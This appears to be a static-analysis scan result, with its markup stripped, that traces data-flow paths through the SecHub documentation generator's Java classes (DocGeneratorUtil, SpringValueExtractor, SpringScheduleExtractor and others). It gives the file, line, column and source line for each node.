endsWith + + 1 + + + 56 + if (firstNotEmpty.length()>1 && firstNotEmpty.endsWith("}")) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 28 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 28 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 28 + 27 + 10 + list + + 4 + + + 28 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 38 + 61 + 11 + springValue + + 1 + + + 38 + SpringValue extracted = springValueExtractor.extract(data.springValue); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 46 + 36 + 12 + string + + 6 + + + 46 + public SpringValue extract(String string) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 23 + 13 + string + + 6 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 35 + 14 + split + + 1 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 12 + 15 + splitted + + 8 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 53 + 22 + 16 + splitted + + 8 + + + 53 + for (String split: splitted) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 54 + 30 + 17 + split + + 5 + + + 54 + if (! StringUtils.isEmpty(split)) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 54 + 29 + 18 + isEmpty + + 1 + + + 54 + if (! StringUtils.isEmpty(split)) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 47 + 57 + 1 + toLowerCase + + 1 + + + 47 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 47 + 7 + 2 + scope + + 1 + + + 47 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 48 + 10 + 3 + data + + 4 + + + 48 + return data; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 69 + 59 + 4 + buildDataBy + + 1 + + + 69 + DocAnnotationData data2 = DocGeneratorUtil.buildDataBy(info2, field); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 69 + 23 + 5 + data2 + + 5 + + + 69 + DocAnnotationData data2 = DocGeneratorUtil.buildDataBy(info2, field); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 71 + 13 + 6 + add + + 1 + + + 71 + list.add(data2); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 48 + 5 + 7 + list + + 4 + + + 48 + list.add(data0); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 48 + 13 + 8 + add + + 1 + + + 48 + list.add(data0); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 60 + 5 + 9 + list + + 4 + + + 60 + list.add(data1); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 60 + 13 + 10 + add + + 1 + + + 60 + list.add(data1); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 76 + 10 + 11 + list + + 4 + + + 76 + return list; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 50 + 56 + 12 + collect + + 1 + + + 50 + return mockedAdaptersSprintValueDataCollector.collect(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 126 + 106 + 13 + fetchMockAdapterSpringValueDocumentationParts + + 1 + + + 126 + String text = propertiesGenerator.generate(getCollector().fetchMockAdapterSpringValueDocumentationParts()); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 24 + 49 + 14 + list + + 4 + + + 24 + public String generate(List<DocAnnotationData> list) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 25 + 19 + 15 + list + + 4 + + + 25 + return generate(list, AcceptAllSpringValueFilter.INSTANCE); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 28 + 49 + 16 + list + + 4 + + + 28 + public String generate(List<DocAnnotationData> list, SpringValueFilter filter) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 29 + 23 + 17 + list + + 4 + + + 29 + if (list == null || list.isEmpty()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 38 + 61 + 18 + springValue + + 1 + + + 38 + SpringValue extracted = springValueExtractor.extract(data.springValue); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 46 + 36 + 19 + string + + 6 + + + 46 + public SpringValue extract(String string) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 23 + 20 + string + + 6 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 35 + 21 + split + + 1 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 12 + 22 + splitted + + 8 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 53 + 22 + 23 + splitted + + 8 + + + 53 + for (String split: splitted) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 54 + 30 + 24 + split + + 5 + + + 54 + if (! StringUtils.isEmpty(split)) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 54 + 29 + 25 + isEmpty + + 1 + + + 54 + if (! StringUtils.isEmpty(split)) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 28 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 28 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 28 + 27 + 10 + list + + 4 + + + 28 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 35 + 32 + 11 + springValue + + 1 + + + 35 + if (StringUtils.isEmpty(data.springValue)) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 35 + 27 + 12 + isEmpty + + 1 + + + 35 + if (StringUtils.isEmpty(data.springValue)) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 27 + 10 + list + + 4 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 49 + 20 + 11 + scope + + 1 + + + 49 + rowMap.put(data.scope, rows); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 49 + 15 + 12 + put + + 1 + + + 49 + rowMap.put(data.scope, rows); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 53 + 7 + 13 + rowMap + + 6 + + + 53 + if (rowMap.isEmpty()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 56 + 57 + 14 + rowMap + + 6 + + + 56 + for (Map.Entry<String, SortedSet<TableRow>> entries : rowMap.entrySet()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 56 + 72 + 15 + entrySet + + 1 + + + 56 + for (Map.Entry<String, SortedSet<TableRow>> entries : rowMap.entrySet()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 57 + 32 + 16 + entries + + 7 + + + 57 + SortedSet<TableRow> table = entries.getValue(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 57 + 48 + 17 + getValue + + 1 + + + 57 + SortedSet<TableRow> table = entries.getValue(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 57 + 24 + 18 + table + + 5 + + + 57 + SortedSet<TableRow> table = entries.getValue(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 68 + 30 + 19 + location + + 1 + + + 68 + sb.append("|").append(row.location); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 68 + 5 + 20 + append + + 2 + + + 68 + sb.append("|").append(row.location); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 69 + 5 + 21 + sb + + 2 + + + 69 + sb.append("\n"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 71 + 4 + 22 + sb + + 2 + + + 71 + sb.append("\n|===\n\n"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 73 + 10 + 23 + sb + + 2 + + + 73 + return sb.toString(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 73 + 21 + 24 + toString + + 1 + + + 73 + return sb.toString(); + + + + + sechub-doc/src/test/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGeneratorTest.java + 110 + 46 + 25 + generate + + 1 + + + 110 + String generated = generatorToTest.generate(collector); + + + + + sechub-doc/src/test/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGeneratorTest.java + 110 + 10 + 26 + generated + + 9 + + + 110 + String generated = generatorToTest.generate(collector); + + + + + sechub-doc/src/test/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGeneratorTest.java + 114 + 15 + 27 + generated + + 9 + + + 114 + assertFalse(generated.isEmpty()); + + + + + sechub-doc/src/test/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGeneratorTest.java + 116 + 14 + 28 + generated + + 9 + + + 116 + assertTrue(generated.indexOf("|===")!=-1); + + + + + sechub-doc/src/test/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGeneratorTest.java + 116 + 31 + 29 + indexOf + + 1 + + + 116 + assertTrue(generated.indexOf("|===")!=-1); + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 27 + 10 + list + + 4 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 39 + 68 + 11 + springScheduled + + 1 + + + 39 + SpringSchedule extracted = springScheduledExtractor.extract(data.springScheduled); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 65 + 42 + 12 + springScheduled + + 15 + + + 65 + public SpringSchedule extract(Scheduled springScheduled) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 45 + 13 + springScheduled + + 15 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 76 + 55 + 14 + springScheduled + + 15 + + + 76 + private SpringSchedule extractSimpleString(Scheduled springScheduled) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 17 + 15 + springScheduled + + 15 + + + 84 + String cron = springScheduled.cron(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 37 + 16 + cron + + 1 + + + 84 + String cron = springScheduled.cron(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 10 + 17 + cron + + 4 + + + 84 + String cron = springScheduled.cron(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 87 + 32 + 18 + cron + + 4 + + + 87 + result.scheduleDefinition = cron; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 87 + 10 + 19 + scheduleDefinition + + 1 + + + 87 + result.scheduleDefinition = cron; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 88 + 11 + 20 + result + + 6 + + + 88 + return result; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 44 + 21 + extractSimpleString + + 1 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 18 + 22 + data + + 4 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 67 + 45 + 23 + scheduleDefinition + + 1 + + + 67 + if (getValueExtractor().isSpringValue(data.scheduleDefinition)) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 81 + 38 + 24 + string + + 6 + + + 81 + public boolean isSpringValue(String string) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 85 + 38 + 25 + string + + 6 + + + 85 + return (string.startsWith("${") && string.endsWith("}")); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 85 + 11 + 26 + string + + 6 + + + 85 + return (string.startsWith("${") && string.endsWith("}")); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 85 + 28 + 27 + startsWith + + 1 + + + 85 + return (string.startsWith("${") && string.endsWith("}")); + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 27 + 10 + list + + 4 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 39 + 68 + 11 + springScheduled + + 1 + + + 39 + SpringSchedule extracted = springScheduledExtractor.extract(data.springScheduled); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 65 + 42 + 12 + springScheduled + + 15 + + + 65 + public SpringSchedule extract(Scheduled springScheduled) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 45 + 13 + springScheduled + + 15 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 76 + 55 + 14 + springScheduled + + 15 + + + 76 + private SpringSchedule extractSimpleString(Scheduled springScheduled) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 17 + 15 + springScheduled + + 15 + + + 84 + String cron = springScheduled.cron(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 37 + 16 + cron + + 1 + + + 84 + String cron = springScheduled.cron(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 10 + 17 + cron + + 4 + + + 84 + String cron = springScheduled.cron(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 87 + 32 + 18 + cron + + 4 + + + 87 + result.scheduleDefinition = cron; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 87 + 10 + 19 + scheduleDefinition + + 1 + + + 87 + result.scheduleDefinition = cron; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 88 + 11 + 20 + result + + 6 + + + 88 + return result; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 44 + 21 + extractSimpleString + + 1 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 18 + 22 + data + + 4 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 67 + 45 + 23 + scheduleDefinition + + 1 + + + 67 + if (getValueExtractor().isSpringValue(data.scheduleDefinition)) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 81 + 38 + 24 + string + + 6 + + + 81 + public boolean isSpringValue(String string) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 85 + 38 + 25 + string + + 6 + + + 85 + return (string.startsWith("${") && string.endsWith("}")); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 85 + 53 + 26 + endsWith + + 1 + + + 85 + return (string.startsWith("${") && string.endsWith("}")); + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 27 + 10 + list + + 4 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 39 + 68 + 11 + springScheduled + + 1 + + + 39 + SpringSchedule extracted = springScheduledExtractor.extract(data.springScheduled); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 65 + 42 + 12 + springScheduled + + 15 + + + 65 + public SpringSchedule extract(Scheduled springScheduled) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 45 + 13 + springScheduled + + 15 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 76 + 55 + 14 + springScheduled + + 15 + + + 76 + private SpringSchedule extractSimpleString(Scheduled springScheduled) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 17 + 15 + springScheduled + + 15 + + + 84 + String cron = springScheduled.cron(); + + + + + 